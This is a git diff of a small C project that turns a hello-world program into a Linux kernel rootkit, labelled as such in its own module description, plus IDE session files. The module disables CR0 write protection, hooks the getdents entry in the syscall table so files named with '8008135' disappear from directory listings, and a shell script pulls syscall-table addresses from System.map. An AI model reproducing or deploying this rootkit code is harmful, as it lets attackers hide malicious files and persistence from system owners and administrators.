diff --git a/.anjuta/.anjuta/session/anjuta.session b/.anjuta/.anjuta/session/anjuta.session new file mode 100644 index 0000000..2c58fea --- /dev/null +++ b/.anjuta/.anjuta/session/anjuta.session @@ -0,0 +1,8 @@ +[Anjuta] +Geometry=1916x1040+0+38 + +[Execution] +Run in terminal=2 + +[Document Manager] +bookmarks=\n\n diff --git a/.anjuta/.anjuta/session/dock-layout.xml b/.anjuta/.anjuta/session/dock-layout.xml new file mode 100644 index 0000000..412e040 --- /dev/null +++ b/.anjuta/.anjuta/session/dock-layout.xml @@ -0,0 +1,4 @@ + + + + diff --git a/.anjuta/session/anjuta.session b/.anjuta/session/anjuta.session new file mode 100644 index 0000000..ea695da --- /dev/null +++ b/.anjuta/session/anjuta.session @@ -0,0 +1,20 @@ +[Anjuta] +Geometry=1916x1040+0+38 + +[File Loader] +Files=../../Makefile#7%%%../../README.md#1%%%../../8008135.c#8 + +[Document Manager] +bookmarks=\n\n + +[Execution] +Run in terminal=2 +Working directories=../../. + +[Build] +Configuration list=1:Default:%%%1:Debug:Debug%%%1:Profiling:Profiling%%%1:Optimized:Optimized +Selected Configuration=Default +BuildArgs/Default=--enable-maintainer-mode +BuildArgs/Debug=--enable-maintainer-mode 'CFLAGS=-g -O0' 'CXXFLAGS=-g -O0' 'JFLAGS=-g -O0' 'FFLAGS=-g -O0' +BuildArgs/Profiling=--enable-maintainer-mode 'CFLAGS=-g -pg' 'CXXFLAGS=-g -pg' 'JFLAGS=-g -pg' 'FFLAGS=-g -pg' +BuildArgs/Optimized=--enable-maintainer-mode 'CFLAGS=-O2' 'CXXFLAGS=-O2' 'JFLAGS=-O2' 'FFLAGS=-O2' diff --git a/.anjuta/session/dock-layout.xml b/.anjuta/session/dock-layout.xml new file mode 100644 index 0000000..da9a403 --- /dev/null +++ b/.anjuta/session/dock-layout.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/.anjuta_sym_db.db b/.anjuta_sym_db.db index f020943..1b3246e 100644 Binary files a/.anjuta_sym_db.db and b/.anjuta_sym_db.db differ diff --git a/8008135 b/8008135 new file mode 100755 index 0000000..6d9c3b7 Binary files /dev/null and b/8008135 differ diff --git a/8008135.c b/8008135.c index ac6725b..a706335 100644 --- a/8008135.c +++ b/8008135.c @@ -1,26 +1,92 @@ -/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */ -/* - * main.c - * Copyright (C) 2019 - * - * 8008135 is free software: you can redistribute it and/or modify it - * under the terms of the GNU General Public License as published by the - * Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * 8008135 is distributed in the hope that it will be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * See the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License along - * with this program. If not, see . - */ - -#include -int main() -{ - printf("Hello world\n"); - return (0); +#include +#include +#include +#include +#include +#include +#include "sysgen.h" + +#define GETDENTS_SYSCALL_NUM 78 +#define WRITE_PROTECT_FLAG (1<<16) +#define HIDE_PREFIX "8008135." +#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX)-1) +#define MODULE_NAME "8008135" +#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) + + + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; // d_reclen is the way to tell the length of this entry + char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. +}; + +MODULE_AUTHOR("JKE"); +MODULE_LICENSE("GPL v2"); +MODULE_DESCRIPTION("RootKit for Ubuntu-16"); + +typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); +sys_getdents_t sys_getdents_orig = NULL; + +// our new getdents handler +asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { + int boff; + struct linux_dirent* ent; + long ret = sys_getdents_orig(fd, dirent, count); + char* dbuf; + if (ret <= 0) { + return ret; + } + dbuf = (char*)dirent; + // go through the entries, looking for one that has our prefix + for (boff = 0; boff < ret;) { + ent = (struct linux_dirent*)(dbuf + boff); + + if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix + || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // or if it has the module name anywhere in it + // remove this entry by copying everything after it forward + memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); + // and adjust the length reported + ret -= ent->d_reclen; + } else { + // on to the next entry + boff += ent->d_reclen; + } + } + return ret; +} + +static int __init lkm_example_init(void) { + printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); + + // record the original getdents handler + sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; + + printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig); + + // turn write protect off + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + + // add our new handlers + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new; + + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + + printk(KERN_INFO "New syscall in place\n"); + + return 0; +} +static void __exit lkm_example_exit(void) { + // allow us to write to read onlu pages + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + // set getdents handler back + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig; + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + printk(KERN_INFO "Old syscall back\n"); } +module_init(lkm_example_init); +module_exit(lkm_example_exit); \ No newline at end of file diff --git a/8008135.c~ b/8008135.c~ new file mode 100644 index 0000000..47776ac --- /dev/null +++ b/8008135.c~ @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include +#include +#include "sysgen.h" + +#define GETDENTS_SYSCALL_NUM 78 +#define WRITE_PROTECT_FLAG (1<<16) +#define HIDE_PREFIX "8008135." +#define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX)-1) +#define MODULE_NAME "8008135" +#define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) + + + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; // d_reclen is the way to tell the length of this entry + char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. +}; + +MODULE_AUTHOR("JKE"); +MODULE_LICENSE("GPL v2"); +MODULE_DESCRIPTION("RootKit for Ubuntu-16"); + +typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); +sys_getdents_t sys_getdents_orig = NULL; + +// our new getdents handler +asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { + int boff; + struct linux_dirent* ent; + long ret = sys_getdents_orig(fd, dirent, count); + char* dbuf; + if (ret <= 0) { + return ret; + } + dbuf = (char*)dirent; + // go through the entries, looking for one that has our prefix + for (boff = 0; boff < ret;) { + ent = (struct linux_dirent*)(dbuf + boff); + + if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix + || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // or if it has the module name anywhere in it + // remove this entry by copying everything after it forward + memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); + // and adjust the length reported + ret -= ent->d_reclen; + } else { + // on to the next entry + boff += ent->d_reclen; + } + } + return ret; +} + +static int __init lkm_example_init(void) { + printk(KERN_INFO "Hello, World!\n"); + + printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); + + // record the original getdents handler + sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; + + printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig); + + // turn write protect off + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + + // add our new handlers + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new; + + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + + printk(KERN_INFO "New syscall in place\n"); + + return 0; +} +static void __exit lkm_example_exit(void) { + printk(KERN_INFO "Goodbye, World!\n"); + // allow us to write to read onlu pages + write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); + // set getdents handler back + sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig; + // turn write protect back on + write_cr0(read_cr0() | WRITE_PROTECT_FLAG); + printk(KERN_INFO "Old syscall back\n"); +} + +module_init(lkm_example_init); +module_exit(lkm_example_exit); \ No newline at end of file diff --git a/8008135.o b/8008135.o new file mode 100644 index 0000000..89a94a9 Binary files /dev/null and b/8008135.o differ diff --git a/Makefile b/Makefile index dad9fa4..30987c0 100644 --- a/Makefile +++ b/Makefile @@ -1,30 +1,6 @@ - -## Created by Anjuta - -CC = gcc -CFLAGS = -g -Wall -OBJECTS = 8008135.o -INCFLAGS = -LDFLAGS = -Wl,-rpath,/usr/local/lib -LIBS = - -all: 8008135 - -8008135: $(OBJECTS) - $(CC) -o 8008135 $(OBJECTS) $(LDFLAGS) $(LIBS) - -.SUFFIXES: -.SUFFIXES: .c .cc .C .cpp .o - -.c.o : - $(CC) -o $@ -c $(CFLAGS) $< $(INCFLAGS) - -count: - wc *.c *.cc *.C *.cpp *.h *.hpp - +obj-m += 8008135.o +modules: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: - rm -f *.o + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean -.PHONY: all -.PHONY: count -.PHONY: clean diff --git a/create_sysgen.sh b/create_sysgen.sh new file mode 100755 index 0000000..7892adf --- /dev/null +++ b/create_sysgen.sh @@ -0,0 +1,14 @@ +#!/bin/bash +smap="/boot/System.map-$(uname -r)" + +echo -e "#pragma once" > ./sysgen.h +echo -e "#include " >> ./sysgen.h + +symbline=$(cat $smap | grep '\Wsys_call_table$') +set $symbline +echo -e "void** sys_call_table = (void**)0x$1;" >> ./sysgen.h + +procline=$(cat $smap | grep '\Wproc_modules_operations$') +set $procline + +echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> ./sysgen.h diff --git a/gitignore b/gitignore new file mode 100644 index 0000000..3beb967 --- /dev/null +++ b/gitignore @@ -0,0 +1,3 @@ +/.anjuta/ +/.anjuta_sym_db.db +